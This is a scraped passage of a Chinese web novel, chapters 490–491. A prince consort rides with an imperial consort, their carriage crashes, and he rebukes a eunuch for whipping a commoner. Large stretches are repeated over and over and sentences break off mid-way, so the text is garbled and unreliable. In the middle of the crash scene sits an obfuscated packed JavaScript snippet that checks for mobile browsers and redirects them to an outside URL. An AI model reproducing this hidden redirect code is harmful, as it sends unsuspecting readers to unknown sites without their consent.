她凑近林臻,身上的玉兰香混着玫瑰酥的甜腻扑来,“夫君,我们现在就回府好不好?我想看看承煜。” 说着,还眨了眨水汪汪的大眼睛。 林臻被她逗笑,伸手捏了捏她的脸颊:“好好好,都听你的。” 林臻起身,把几块点心塞进嘴里,起身向慕容嫣告辞,却被一把拽住衣角。 慕容嫣别过脸,耳尖泛红:“今晚来朕宫里用膳,御膳房新做了蟹黄汤包。” 说罢,不等他回应,大快朵颐起来。 林臻与司马椿蕾离开皇宫,坐上装饰精美的马车。 司马椿蕾刚上车就迫不及待地扑进他怀里。 “夫君,臣妾好想您呢~”她仰起脸,红唇几乎要贴上他的,“让臣妾香香一下好不好~” 不等林臻反应,她那柔软的唇已覆了上来。 ,就见司马椿蕾正用银匙舀着燕窝粥,雪琪跪坐在旁替她整理袖口。 进了门,慕容嫣脱掉外袍,露出的短款凤袍以金线绣着展翅欲飞的凤凰,及膝的下摆露出裹着白色鲛绡的小腿,珍珠缀成的流苏随着动作在脚踝轻晃。 “夫君,快坐。”她抬眼看到林臻,嘴角勾起一抹笑意,示意宫女添碗筷。 林臻在她们对面坐下,目光在慕容嫣身上打转:“你的凤袍怎么这么短?” 话音未落,司马椿蕾已夹起一碟水晶肴肉放进他碗里:“陛下说开春了穿着轻便,前日还特意让尚衣局改制了五套呢。” 慕容嫣用帕子擦了擦嘴角,凤目含嗔:“就你话多。” “我觉得这样蛮好的。”林臻突然伸手握住慕容嫣放在桌案上的手,拇指摩挲着她掌心的纹路。 慕容嫣想要抽回,却被他握得更紧,顺势将她整个人拉向自己。 短款凤袍的裙摆扬起,白皙的大腿瞬间展露。 “放开!”慕容嫣又羞又恼,用另一只手狠狠捶打他胸膛,发间的东珠流苏跟着晃动。 司马椿蕾在一旁捂嘴偷笑,眼波流转:“陛下,您就别和夫君置气了。” 她转头看向林臻,撒娇道:“夫君,臣妾想回府看看孩子嘛~从他出生到现在,我还没好好抱抱他呢。” 说着,轻轻拽住他的衣袖摇晃。 慕容嫣翻了个白眼,从林臻手中抽回手,重新坐直身子:“就你最欠儿!想去就去,还问什么?” 嘴上虽嫌弃,却亲自将一碟玫瑰酥塞进司马椿蕾手中:“路上吃。” 林臻见慕容嫣不再生气,这才开口:“别闹了,这次来是想告诉你们,孩子取名叫承煜。林承煜。” “太老气了!”慕容嫣立刻反驳,“叫林如意多好,一听就讨喜。” 她边说边伸手去抢林臻碗里的虾仁,却被他先一步吃掉。 “你!”她气得直跺脚,短靴上的玉铃铛叮当作响。 司马椿蕾拉着两人的手:“名字的事慢慢商量嘛。” 她凑近林臻,身上的玉兰香混着玫瑰酥的甜腻扑来,“夫君,我们现在就回府好不好?我想看看承煜。” 说着,还眨了眨水汪汪的大眼睛。 林臻被她逗笑,伸手捏了捏她的脸颊:“好好好,都听你的。” 林臻起身,把几块点心塞进嘴里,起身向慕容嫣告辞,却被一把拽住衣角。 慕容嫣别过脸,耳尖泛红:“今晚来朕宫里用膳,御膳房新做了蟹黄汤包。” 说罢,不等他回应,大快朵颐起来。 林臻与司马椿蕾离开皇宫,坐上装饰精美的马车。 司马椿蕾刚上车就迫不及待地扑进他怀里。 “夫君,臣妾好想您呢~”她仰起脸,红唇几乎要贴上他的,“让臣妾香香一下好不好~” 不等林臻反应,她那柔软的唇已覆了上来。 ,就见司马椿蕾正用银匙舀着燕窝粥,雪琪跪坐在旁替她整理袖口。 进了门,慕容嫣脱掉外袍,露出的短款凤袍以金线绣着展翅欲飞的凤凰,及膝的下摆露出裹着白色鲛绡的小腿,珍珠缀成的流苏随着动作在脚踝轻晃。 “夫君,快坐。”她抬眼看到林臻,嘴角勾起一抹笑意,示意宫女添碗筷。 林臻在她们对面坐下,目光在慕容嫣身上打转:“你的凤袍怎么这么短?” 话音未落,司马椿蕾已夹起一碟水晶肴肉放进他碗里:“陛下说开春了穿着轻便,前日还特意让尚衣局改制了五套呢。” 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慕容嫣翻了个白眼,从林臻手中抽回手,重新坐直身子:“就你最欠儿!想去就去,还问什么?” 嘴上虽嫌弃,却亲自将一碟玫瑰酥塞进司马椿蕾手中:“路上吃。” 林臻见慕容嫣不再生气,这才开口:“别闹了,这次来是想告诉你们,孩子取名叫承煜。林承煜。” “太老气了!”慕容嫣立刻反驳,“叫林如意多好,一听就讨喜。” 她边说边伸手去抢林臻碗里的虾仁,却被他先一步吃掉。 “你!”她气得直跺脚,短靴上的玉铃铛叮当作响。 司马椿蕾拉着两人的手:“名字的事慢慢商量嘛。” 她凑近林臻,身上的玉兰香混着玫瑰酥的甜腻扑来,“夫君,我们现在就回府好不好?我想看看承煜。” 说着,还眨了眨水汪汪的大眼睛。 林臻被她逗笑,伸手捏了捏她的脸颊:“好好好,都听你的。” 林臻起身,把几块点心塞进嘴里,起身向慕容嫣告辞,却被一把拽住衣角。 慕容嫣别过脸,耳尖泛红:“今晚来朕宫里用膳,御膳房新做了蟹黄汤包。” 说罢,不等他回应,大快朵颐起来。 林臻与司马椿蕾离开皇宫,坐上装饰精美的马车。 司马椿蕾刚上车就迫不及待地扑进他怀里。 “夫君,臣妾好想您呢~”她仰起脸,红唇几乎要贴上他的,“让臣妾香香一下好不好~” 不等林臻反应,她那柔软的唇已覆了上来。 ,就见司马椿蕾正用银匙舀着燕窝粥,雪琪跪坐在旁替她整理袖口。 进了门,慕容嫣脱掉外袍,露出的短款凤袍以金线绣着展翅欲飞的凤凰,及膝的下摆露出裹着白色鲛绡的小腿,珍珠缀成的流苏随着动作在脚踝轻晃。 “夫君,快坐。”她抬眼看到林臻,嘴角勾起一抹笑意,示意宫女添碗筷。 林臻在她们对面坐下,目光在慕容嫣身上打转:“你的凤袍怎么这么短?” 话音未落,司马椿蕾已夹起一碟水晶肴肉放进他碗里:“陛下说开春了穿着轻便,前日还特意让尚衣局改制了五套呢。” 慕容嫣用帕子擦了擦嘴角,凤目含嗔:“就你话多。” “我觉得这样蛮好的。”林臻突然伸手握住慕容嫣放在桌案上的手,拇指摩挲着她掌心的纹路。 慕容嫣想要抽回,却被他握得更紧,顺势将她整个人拉向自己。 短款凤袍的裙摆扬起,白皙的大腿瞬间展露。 “放开!”慕容嫣又羞又恼,用另一只手狠狠捶打他胸膛,发间的东珠流苏跟着晃动。 司马椿蕾在一旁捂嘴偷笑,眼波流转:“陛下,您就别和夫君置气了。” 她转头看向林臻,撒娇道:“夫君,臣妾想回府看看孩子嘛~从他出生到现在,我还没好好抱抱他呢。” 说着,轻轻拽住他的衣袖摇晃。 慕容嫣翻了个白眼,从林臻手中抽回手,重新坐直身子:“就你最欠儿!想去就去,还问什么?” 嘴上虽嫌弃,却亲自将一碟玫瑰酥塞进司马椿蕾手中:“路上吃。” 林臻见慕容嫣不再生气,这才开口:“别闹了,这次来是想告诉你们,孩子取名叫承煜。林承煜。” “太老气了!”慕容嫣立刻反驳,“叫林如意多好,一听就讨喜。” 她边说边伸手去抢林臻碗里的虾仁,却被他先一步吃掉。 “你!”她气得直跺脚,短靴上的玉铃铛叮当作响。 司马椿蕾拉着两人的手:“名字的事慢慢商量嘛。” 她凑近林臻,身上的玉兰香混着玫瑰酥的甜腻扑来,“夫君,我们现在就回府好不好?我想看看承煜。” 说着,还眨了眨水汪汪的大眼睛。 林臻被她逗笑,伸手捏了捏她的脸颊:“好好好,都听你的。” 林臻起身,把几块点心塞进嘴里,起身向慕容嫣告辞,却被一把拽住衣角。 慕容嫣别过脸,耳尖泛红:“今晚来朕宫里用膳,御膳房新做了蟹黄汤包。” 说罢,不等他回应,大快朵颐起来。 林臻与司马椿蕾离开皇宫,坐上装饰精美的马车。 司马椿蕾刚上车就迫不及待地扑进他怀里。 “夫君,臣妾好想您呢~”她仰起脸,红唇几乎要贴上他的,“让臣妾香香一下好不好~” 不等林臻反应,她那柔软的唇已覆了上来。 ,就见司马椿蕾正用银匙舀着燕窝粥,雪琪跪坐在旁替她整理袖口。 进了门,慕容嫣脱掉外袍,露出的短款凤袍以金线绣着展翅欲飞的凤凰,及膝的下摆露出裹着白色鲛绡的小腿,珍珠缀成的流苏随着动作在脚踝轻晃。 “夫君,快坐。”她抬眼看到林臻,嘴角勾起一抹笑意,示意宫女添碗筷。 林臻在她们对面坐下,目光在慕容嫣身上打转:“你的凤袍怎么这么短?” 话音未落,司马椿蕾已夹起一碟水晶肴肉放进他碗里:“陛下说开春了穿着轻便,前日还特意让尚衣局改制了五套呢。” 慕容嫣用帕子擦了擦嘴角,凤目含嗔:“就你话多。” “我觉得这样蛮好的。”林臻突然伸手握住慕容嫣放在桌案上的手,拇指摩挲着她掌心的纹路。 慕容嫣想要抽回,却被他握得更紧,顺势将她整个人拉向自己。 短款凤袍的裙摆扬起,白皙的大腿瞬间展露。 “放开!”慕容嫣又羞又恼,用另一只手狠狠捶打他胸膛,发间的东珠流苏跟着晃动。 司马椿蕾在一旁捂嘴偷笑,眼波流转:“陛下,您就别和夫君置气了。” 她转头看向林臻,撒娇道:“夫君,臣妾想回府看看孩子嘛~从他出生到现在,我还没好好抱抱他呢。” 说着,轻轻拽住他的衣袖摇晃。 慕容嫣翻了个白眼,从林臻手中抽回手,重新坐直身子:“就你最欠儿!想去就去,还问什么?” 嘴上虽嫌弃,却亲自将一碟玫瑰酥塞进司马椿蕾手中:“路上吃。” 林臻见慕容嫣不再生气,这才开口:“别闹了,这次来是想告诉你们,孩子取名叫承煜。林承煜。” “太老气了!”慕容嫣立刻反驳,“叫林如意多好,一听就讨喜。” 她边说边伸手去抢林臻碗里的虾仁,却被他先一步吃掉。 “你!”她气得直跺脚,短靴上的玉铃铛叮当作响。 司马椿蕾拉着两人的手:“名字的事慢慢商量嘛。” 她凑近林臻,身上的玉兰香混着玫瑰酥的甜腻扑来,“夫君,我们现在就回府好不好?我想看看承煜。” 说着,还眨了眨水汪汪的大眼睛。 林臻被她逗笑,伸手捏了捏她的脸颊:“好好好,都听你的。” 林臻起身,把几块点心塞进嘴里,起身向慕容嫣告辞,却被一把拽住衣角。 慕容嫣别过脸,耳尖泛红:“今晚来朕宫里用膳,御膳房新做了蟹黄汤包。” 说罢,不等他回应,大快朵颐起来。 林臻与司马椿蕾离开皇宫,坐上装饰精美的马车。 司马椿蕾刚上车就迫不及待地扑进他怀里。 “夫君,臣妾好想您呢~”她仰起脸,红唇几乎要贴上他的,“让臣妾香香一下好不好~” 不等林臻反应,她那柔软的唇已覆了上来。 第490章 娶大姨子? 林臻从没见过这个样子的司马椿蕾就像个小姑娘第一次出了家门似的搂着林臻不断索吻吻的同时又偷偷地看向车窗外好像很怕被人偷看到似的天真又浪漫。 可能是在宫里久了身边又没有能说话的人寂寞与萧条充斥着内心稍有放松便会将心里的苦闷尽情释放出来。 林臻趁着空隙舔了舔嘴角的香津微微把她推开些 “没怎么呀就是有些想夫君了呢。” “真的假的?不会是在宫里憋坏了吧?” “才没有呢只是想到等下就可以看到我们家第一个小公子臣妾就心情好!”司马椿蕾坐回原位。 马车继续行进开过热闹非凡的集市尽情驰骋在宽大的马车专用道上。 马路因为经过改革到处都是黄包车与马车百姓过街需要走十字路口。为此有很多百姓反应说过街不方便需要绕很远等等。 这也没办法在人流量、车流量都很大的京城只能这样做才能确保交通安全。 久而久之百姓也就习惯了但还是有顽皮的孩子和倚老卖老的老人横穿马路对此兵马司士兵是一点情面都不讲。 第一次抓到罚款第二次就打板子第三次不管男女老少直接拉走去城外修路去为期一个月。 都说乱世当用重典林臻深以为然。 在后世大家公认司机素质最高的城市是杭州。 如果您各位有杭州本地百姓或者是去杭州玩过的人都知道不管是你走斑马线还是跳过栅栏横穿马路路上的车都会等下来等你先过甚至有时候会因为你一个人过马路而造成交通拥堵。 但他们为什么素质这么高呢? 肯定有天生就素质高的人林臻承认但他认为大部分司机还是被罚出来的。 不礼让行人最高可以处五百元罚款还要记3分。 这谁受得了? 现在大乾京城施行的就是这一套方法只不过针对的是路人不是马车也不是黄包车。 负责驾驶马车的是司马椿蕾宫里的太监年岁三十左右在宫里也算老资格他急匆匆地赶路马鞭都快把马屁股抽开花了。 就在此时左面也突然冲出来一辆马车。 两车相会避让不及砰的一声撞在一起。 “砰!” “吁!!”两匹马同时嘶鸣一声摔倒在地至于那驾车的太监就像断线风筝似的飞了出去最后啪叽一声摔 在地上。 “哎呦我!疼死我了!!太监揉着腰,呲牙咧嘴地站起来。 与此同时,马车里林臻也紧紧扶着司马椿蕾。 “椿儿,没事吧? “没事,这狗奴才,驾个车也****躁躁的,万一伤着您可怎么办? 林臻淡笑着摇摇头,并没有把这件事情放在心上。 开车嘛,你不撞别人,别人撞你,很正常的事情。 但紧接着,他脸色就不好看了,因为他听到面前有喝骂声传来。 “**怎么驾的车?眼瞎了? “对不起对不起,这位公公,小的没看见你。 “**的,你知不知道这是谁的座驾!老子看你就是欠抽! 随即林臻就听到一声干脆利落的鞭子声传来。 啪—— 林臻赶紧站出去,就见太监挥动着马鞭,一下一下抽在一个中年汉子的脑袋上。 他当即大怒:“住手! 太监回头,见林臻满脸怒火,说道:“世子,这狗东西太没有眼力见了!连您的座驾也敢冲撞! “闭嘴!司马椿蕾能听出来林臻生气了,于是也紧跟着从马车里钻出来,指着那太监说道:“狗仗人势的东西,平日里本宫是怎么教育你的!你手的马鞭,岂能打在老百姓身上!? “啊太监当即就吓傻了。 心说娘娘啊,您平时可没这么说过话啊! 林臻跳下马车,把那汉子扶起来,结果没想到居然是熟人! “大勇? “世子! 魏大勇,晴雯手底下马车行里的车夫头,也是最忠心的员工。 在晴雯养胎这段时间,整个马车行都是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580354|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和账房在管着,几个月来从没出过问题,是个忠厚老实的属下。 “大勇,你怎么亲自拉车了? 魏大勇脸上有两道鞭子印,就这还憨厚的笑呢。 “嘿嘿嘿,今天有个车夫请假,我替一天班。 “这样.臭小子,几日不见真是越来越精神了啊。林臻笑着捶他一拳。 司马椿蕾穿着华贵的盛装走下马车,魏大勇当即就跪了下去,眼睛不敢乱看。 “小民参见娘娘。 “大勇啊,快起来,世子拿你当兄弟,那我们自然就是一家人。司马椿蕾笑得很和蔼:“你的伤怎么样?要不要去看大夫? “不用不用。魏大勇连连摆手,“像咱这种糙汉子,打两鞭子不叫事儿。 “那也不行。”林臻皱着眉头,说道:“椿儿,这事儿就交给你处理,让他好好长长记性。” “夫君放心。”言罢司马椿蕾从袖子里掏出一个钱袋,递给魏大勇,“大勇,这个就算是本宫补偿你的医药费,至于这个太监,本宫回去了会好好教育的。” “娘娘,小民不敢要你的钱啊!” “拿着吧,你若不拿,倒显得本宫不懂事了。” 钱袋虽然不大,但里面估计得有十几两银子,对于魏大勇来说倒也算笔横财。 他愣在原地为难,林臻笑着说:“拿着拿着,你不花,你老婆孩子还不花?我可是听雯儿说你最近新纳了房小妾,正是用钱的时候。” “嘿嘿嘿,世子误会了,不是纳小妾,是我大姨子,他丈夫去年在临邑战**,孤儿寡母生活不易,我家婆娘又心软,说把她们接过来一起住” “哦?烈士家属啊?你小子可以,咱大乾现在对烈士待遇非常好,像你这样愿意娶烈士遗孀的,官府还有额外补贴呢。” “是是是。”魏大勇磕头如捣蒜似的,“京兆尹大人亲自去小人家里发的津贴,足足二十两呢。” 果然,只要国家政策好,百姓幸福度就高。 你瞧魏大勇脸上的笑容,多真挚啊。 第491章 一句话就够了 林臻看着魏大勇那幸福的模样,心中无比感慨。 为了保持住现有的生活,被太监打了都不敢吭声。 这人啊,活着为什么就这么难呢。 他对魏大勇说道:“大勇啊,你现在还住城外吗?” “对啊,城里的房子太贵了,咱哪能买得起。” “别胡说八道,你赚多少钱我心里还不清楚?在这四九城里,你也算高薪了吧?在城边买个小院,还不是绰绰有余?” 说话间,兵马司的人过来了,满脸怒气冲冲,好像要把肇事者抓走打一顿似的。 结果到了近前,发现是林臻和当朝贵妃娘娘,立刻还上副谄媚的笑容。 “世子,娘娘,你们聊,这点小事儿就交给我们吧。” 林臻点点头,带着魏大勇去向马路边,他打算走着回去。 司马椿蕾目光十分阴冷地看了看那名太监,说道:“回去再收拾你。” “娘娘.奴才” “哼。”司马椿蕾冷哼一声。 她也不愿意让百姓看笑话,于是跟着林臻走了。 太监无奈,站在原地不知道该走还是该留,最后犹豫半晌心说也罢。 自己为娘娘做过那么多事情,总不至于弄死我吧? 马路边正好有茶摊,林臻便带着魏大勇坐下。 摊主都吓傻了,他做梦也没想到在大乾呼风唤雨的林臻会坐在他的摊位前,手忙脚乱地准备倒茶,却听后过来的司马椿蕾说道。 “摊主,交给本宫吧。” 言罢司马椿蕾也不管人家同不同意,提着大燎壶走向林臻,亲自给他倒了一碗茶。 至于魏大勇,她没管。 她就算管,魏大勇也不敢受。 后来还是摊主过来,给魏大勇倒茶,笑嘻嘻地说道:“大勇,今天不收你钱,免费喝。” “谢谢老奎。” 大勇喝了口茶,说道:“世子有所不知,小的家里人口多,都在城外的村子上住,家里有老爹老娘,还有几亩薄田。小的也确实想过搬来城里,让老两口享享清福,但是老两口不同意,说街坊邻居都不认识,还不如村里呢,所以也就没搬。 后来没办法,我就只好拿钱把家里的房子什么的都修了修,院子也重新垒了,就是有一点烦人。家里亲戚见我现在混得好,都跑来借钱,还有出嫁的两个姐姐,也整天要这要那的。唉,心烦啊。” 林臻笑了笑:“这很正常,能力越大责任越大,总不能说你现在混得好,家里的人就不 管了吧?天子还寻私情呢,更何况是老百姓。只要家里闹得不过分,该给点钱给点钱,或者凭你的人脉关系,在城里给亲戚找个差事做,也并无不可。” “世子说的是啊,前些年我在城里务工,一年到头也就赚个三四两银子,家里也穷,没人看得起。现在情况好了,家里的客人络绎不绝。您说这到底是为什么?大家都这么势利眼吗?” “倒不是势利眼,这是很正常的慕强,毕竟谁也不知道自己什么时候会出事,也不知道什么时候会用上你,现在跟你交好,等以后有事儿了也好说话嘛。正所谓穷在**无人闻,富在深山有远亲。就是这个道理。” “世子的话令人深省。” 林臻很喜欢和普通人对话的感觉,倒不是觉得自己高高在上,而是能从他们嘴里听到最真实的大乾。 可见,这个国家在林臻的带领下已经是一片欣欣向荣。 他很欣慰。 喝了口茶,林臻又问:“你几个孩子?” “算上大姨子的.四个。”每每说起大姨子,魏大勇都有些脸红。 林臻笑道:“你小子也算享尽齐人之福啊,姐妹双收!哈哈哈哈哈。” “世子又笑话我,这哪是齐人之福,是肩膀上的责任。我有两儿两女,大儿子今年九岁,小闺女才一岁,以后儿子要娶媳妇,闺女要准备嫁妆,这都是银子,否则我才不会当替班呢。” “这话倒不错,男人嘛,养家糊口是责任,不过你需要重视孩子的教育,过些日子大乾要成立第一座公立学校,因为是第一座所以不会招收所有的孩子,只招收那些有文化基础的。等再过几年,义务小学遍地开花,所有孩子就有书读了。” 这是林臻发展大乾最重要的战略方针。 提高识字率。 现在不管是大乾还是其他国家,百姓识字率都不到5%,像齐国、燕国,更是不到1%,这是绝对不行的。 一个国家想开万世太平,想进步,想富裕,就必须得提高识字率,只是这件事情不是短时间内能落实的。 就算把房子都建好,也找不到那么多的老师。 哪像后世?教育系毕业生一千万,新生儿八百万,林臻就不知道这群学教育的莘莘学子以后会去给哪个孩子当老师。 话又说回来,之所以这么多人想当老师,估计也是看上了教师的待遇。 尤其是小学老师,不仅节假日休息,每年还有寒暑假。 不失业又不累,说出去也体面。 但是很可惜啊,教师已经不是正式编制了,估计日后教育系统也会采取优胜劣汰的制度,想靠混日子混到退休的老师,基本已经不存在了。 林臻记得他前女友就是学小学教育的,后来分开后就再没联系,一晃多年过去,也不知道她到底赶没赶上最后的教师编。 但愿她赶上了吧。 这样等林臻有朝一日穿越回去,调到教育局,还能找个理由见上一面。 说着说着,日头已经来到中午,春天的太阳带着几分温度。 林臻敞开胸怀,起身与魏大勇告辞,带着司马椿蕾不急不慢地往家走。 林臻说道:“椿儿,我知道你在宫里都做了些什么事情,但是你要记住,我们的鞭子绝不能抽在老百姓身上,这样会让百姓对朝廷产生不好的想法,我苦心经营起来的大乾,绝不允许任何人去破坏它。” 司马椿蕾的脚步一顿,说道:“臣妾明白。” “走吧,回家,去看看我们的小公子。”林臻又换上笑脸,牵起她的手。 其实有的时候,和同频的人说话不需要说得太深。 一句话,就够了。 管了吧?天子还寻私情呢,更何况是老百姓。只要家里闹得不过分,该给点钱给点钱,或者凭你的人脉关系,在城里给亲戚找个差事做,也并无不可。” “世子说的是啊,前些年我在城里务工,一年到头也就赚个三四两银子,家里也穷,没人看得起。现在情况好了,家里的客人络绎不绝。您说这到底是为什么?大家都这么势利眼吗?” “倒不是势利眼,这是很正常的慕强,毕竟谁也不知道自己什么时候会出事,也不知道什么时候会用上你,现在跟你交好,等以后有事儿了也好说话嘛。正所谓穷在**无人闻,富在深山有远亲。就是这个道理。” “世子的话令人深省。” 林臻很喜欢和普通人对话的感觉,倒不是觉得自己高高在上,而是能从他们嘴里听到最真实的大乾。 可见,这个国家在林臻的带领下已经是一片欣欣向荣。 他很欣慰。 喝了口茶,林臻又问:“你几个孩子?” “算上大姨子的.四个。”每每说起大姨子,魏大勇都有些脸红。 林臻笑道:“你小子也算享尽齐人之福啊,姐妹双收!哈哈哈哈哈。” “世子又笑话我,这哪是齐人之福,是肩膀上的责任。我有两儿两女,大儿子今年九岁,小闺女才一岁,以后儿子要娶媳妇,闺女要准备嫁妆,这都是银子,否则我才不会当替班呢。” “这话倒不错,男人嘛,养家糊口是责任,不过你需要重视孩子的教育,过些日子大乾要成立第一座公立学校,因为是第一座所以不会招收所有的孩子,只招收那些有文化基础的。等再过几年,义务小学遍地开花,所有孩子就有书读了。” 这是林臻发展大乾最重要的战略方针。 提高识字率。 现在不管是大乾还是其他国家,百姓识字率都不到5%,像齐国、燕国,更是不到1%,这是绝对不行的。 一个国家想开万世太平,想进步,想富裕,就必须得提高识字率,只是这件事情不是短时间内能落实的。 就算把房子都建好,也找不到那么多的老师。 哪像后世?教育系毕业生一千万,新生儿八百万,林臻就不知道这群学教育的莘莘学子以后会去给哪个孩子当老师。 话又说回来,之所以这么多人想当老师,估计也是看上了教师的待遇。 尤其是小学老师,不仅节假日休息,每年还有寒暑假。 不失业又不累,说出去也体面。 但是很可惜啊,教师已经不是正式编制了,估计日后教育系统也会采取优胜劣汰的制度,想靠混日子混到退休的老师,基本已经不存在了。 林臻记得他前女友就是学小学教育的,后来分开后就再没联系,一晃多年过去,也不知道她到底赶没赶上最后的教师编。 但愿她赶上了吧。 这样等林臻有朝一日穿越回去,调到教育局,还能找个理由见上一面。 说着说着,日头已经来到中午,春天的太阳带着几分温度。 林臻敞开胸怀,起身与魏大勇告辞,带着司马椿蕾不急不慢地往家走。 林臻说道:“椿儿,我知道你在宫里都做了些什么事情,但是你要记住,我们的鞭子绝不能抽在老百姓身上,这样会让百姓对朝廷产生不好的想法,我苦心经营起来的大乾,绝不允许任何人去破坏它。” 司马椿蕾的脚步一顿,说道:“臣妾明白。” “走吧,回家,去看看我们的小公子。”林臻又换上笑脸,牵起她的手。 其实有的时候,和同频的人说话不需要说得太深。 一句话,就够了。 管了吧?天子还寻私情呢,更何况是老百姓。只要家里闹得不过分,该给点钱给点钱,或者凭你的人脉关系,在城里给亲戚找个差事做,也并无不可。” “世子说的是啊,前些年我在城里务工,一年到头也就赚个三四两银子,家里也穷,没人看得起。现在情况好了,家里的客人络绎不绝。您说这到底是为什么?大家都这么势利眼吗?” “倒不是势利眼,这是很正常的慕强,毕竟谁也不知道自己什么时候会出事,也不知道什么时候会用上你,现在跟你交好,等以后有事儿了也好说话嘛。正所谓穷在**无人闻,富在深山有远亲。就是这个道理。” “世子的话令人深省。” 林臻很喜欢和普通人对话的感觉,倒不是觉得自己高高在上,而是能从他们嘴里听到最真实的大乾。 可见,这个国家在林臻的带领下已经是一片欣欣向荣。 他很欣慰。 喝了口茶,林臻又问:“你几个孩子?” “算上大姨子的.四个。”每每说起大姨子,魏大勇都有些脸红。 林臻笑道:“你小子也算享尽齐人之福啊,姐妹双收!哈哈哈哈哈。” “世子又笑话我,这哪是齐人之福,是肩膀上的责任。我有两儿两女,大儿子今年九岁,小闺女才一岁,以后儿子要娶媳妇,闺女要准备嫁妆,这都是银子,否则我才不会当替班呢。” “这话倒不错,男人嘛,养家糊口是责任,不过你需要重视孩子的教育,过些日子大乾要成立第一座公立学校,因为是第一座所以不会招收所有的孩子,只招收那些有文化基础的。等再过几年,义务小学遍地开花,所有孩子就有书读了。” 这是林臻发展大乾最重要的战略方针。 提高识字率。 现在不管是大乾还是其他国家,百姓识字率都不到5%,像齐国、燕国,更是不到1%,这是绝对不行的。 一个国家想开万世太平,想进步,想富裕,就必须得提高识字率,只是这件事情不是短时间内能落实的。 就算把房子都建好,也找不到那么多的老师。 哪像后世?教育系毕业生一千万,新生儿八百万,林臻就不知道这群学教育的莘莘学子以后会去给哪个孩子当老师。 话又说回来,之所以这么多人想当老师,估计也是看上了教师的待遇。 尤其是小学老师,不仅节假日休息,每年还有寒暑假。 不失业又不累,说出去也体面。 但是很可惜啊,教师已经不是正式编制了,估计日后教育系统也会采取优胜劣汰的制度,想靠混日子混到退休的老师,基本已经不存在了。 林臻记得他前女友就是学小学教育的,后来分开后就再没联系,一晃多年过去,也不知道她到底赶没赶上最后的教师编。 但愿她赶上了吧。 这样等林臻有朝一日穿越回去,调到教育局,还能找个理由见上一面。 说着说着,日头已经来到中午,春天的太阳带着几分温度。 林臻敞开胸怀,起身与魏大勇告辞,带着司马椿蕾不急不慢地往家走。 林臻说道:“椿儿,我知道你在宫里都做了些什么事情,但是你要记住,我们的鞭子绝不能抽在老百姓身上,这样会让百姓对朝廷产生不好的想法,我苦心经营起来的大乾,绝不允许任何人去破坏它。” 司马椿蕾的脚步一顿,说道:“臣妾明白。” “走吧,回家,去看看我们的小公子。”林臻又换上笑脸,牵起她的手。 其实有的时候,和同频的人说话不需要说得太深。 一句话,就够了。 管了吧?天子还寻私情呢,更何况是老百姓。只要家里闹得不过分,该给点钱给点钱,或者凭你的人脉关系,在城里给亲戚找个差事做,也并无不可。” “世子说的是啊,前些年我在城里务工,一年到头也就赚个三四两银子,家里也穷,没人看得起。现在情况好了,家里的客人络绎不绝。您说这到底是为什么?大家都这么势利眼吗?” “倒不是势利眼,这是很正常的慕强,毕竟谁也不知道自己什么时候会出事,也不知道什么时候会用上你,现在跟你交好,等以后有事儿了也好说话嘛。正所谓穷在**无人闻,富在深山有远亲。就是这个道理。” “世子的话令人深省。” 林臻很喜欢和普通人对话的感觉,倒不是觉得自己高高在上,而是能从他们嘴里听到最真实的大乾。 可见,这个国家在林臻的带领下已经是一片欣欣向荣。 他很欣慰。 喝了口茶,林臻又问:“你几个孩子?” “算上大姨子的.四个。”每每说起大姨子,魏大勇都有些脸红。 林臻笑道:“你小子也算享尽齐人之福啊,姐妹双收!哈哈哈哈哈。” “世子又笑话我,这哪是齐人之福,是肩膀上的责任。我有两儿两女,大儿子今年九岁,小闺女才一岁,以后儿子要娶媳妇,闺女要准备嫁妆,这都是银子,否则我才不会当替班呢。” “这话倒不错,男人嘛,养家糊口是责任,不过你需要重视孩子的教育,过些日子大乾要成立第一座公立学校,因为是第一座所以不会招收所有的孩子,只招收那些有文化基础的。等再过几年,义务小学遍地开花,所有孩子就有书读了。” 这是林臻发展大乾最重要的战略方针。 提高识字率。 现在不管是大乾还是其他国家,百姓识字率都不到5%,像齐国、燕国,更是不到1%,这是绝对不行的。 一个国家想开万世太平,想进步,想富裕,就必须得提高识字率,只是这件事情不是短时间内能落实的。 就算把房子都建好,也找不到那么多的老师。 哪像后世?教育系毕业生一千万,新生儿八百万,林臻就不知道这群学教育的莘莘学子以后会去给哪个孩子当老师。 话又说回来,之所以这么多人想当老师,估计也是看上了教师的待遇。 尤其是小学老师,不仅节假日休息,每年还有寒暑假。 不失业又不累,说出去也体面。 但是很可惜啊,教师已经不是正式编制了,估计日后教育系统也会采取优胜劣汰的制度,想靠混日子混到退休的老师,基本已经不存在了。 林臻记得他前女友就是学小学教育的,后来分开后就再没联系,一晃多年过去,也不知道她到底赶没赶上最后的教师编。 但愿她赶上了吧。 这样等林臻有朝一日穿越回去,调到教育局,还能找个理由见上一面。 说着说着,日头已经来到中午,春天的太阳带着几分温度。 林臻敞开胸怀,起身与魏大勇告辞,带着司马椿蕾不急不慢地往家走。 林臻说道:“椿儿,我知道你在宫里都做了些什么事情,但是你要记住,我们的鞭子绝不能抽在老百姓身上,这样会让百姓对朝廷产生不好的想法,我苦心经营起来的大乾,绝不允许任何人去破坏它。” 司马椿蕾的脚步一顿,说道:“臣妾明白。” “走吧,回家,去看看我们的小公子。”林臻又换上笑脸,牵起她的手。 其实有的时候,和同频的人说话不需要说得太深。 一句话,就够了。 管了吧?天子还寻私情呢,更何况是老百姓。只要家里闹得不过分,该给点钱给点钱,或者凭你的人脉关系,在城里给亲戚找个差事做,也并无不可。” “世子说的是啊,前些年我在城里务工,一年到头也就赚个三四两银子,家里也穷,没人看得起。现在情况好了,家里的客人络绎不绝。您说这到底是为什么?大家都这么势利眼吗?” “倒不是势利眼,这是很正常的慕强,毕竟谁也不知道自己什么时候会出事,也不知道什么时候会用上你,现在跟你交好,等以后有事儿了也好说话嘛。正所谓穷在**无人闻,富在深山有远亲。就是这个道理。” “世子的话令人深省。” 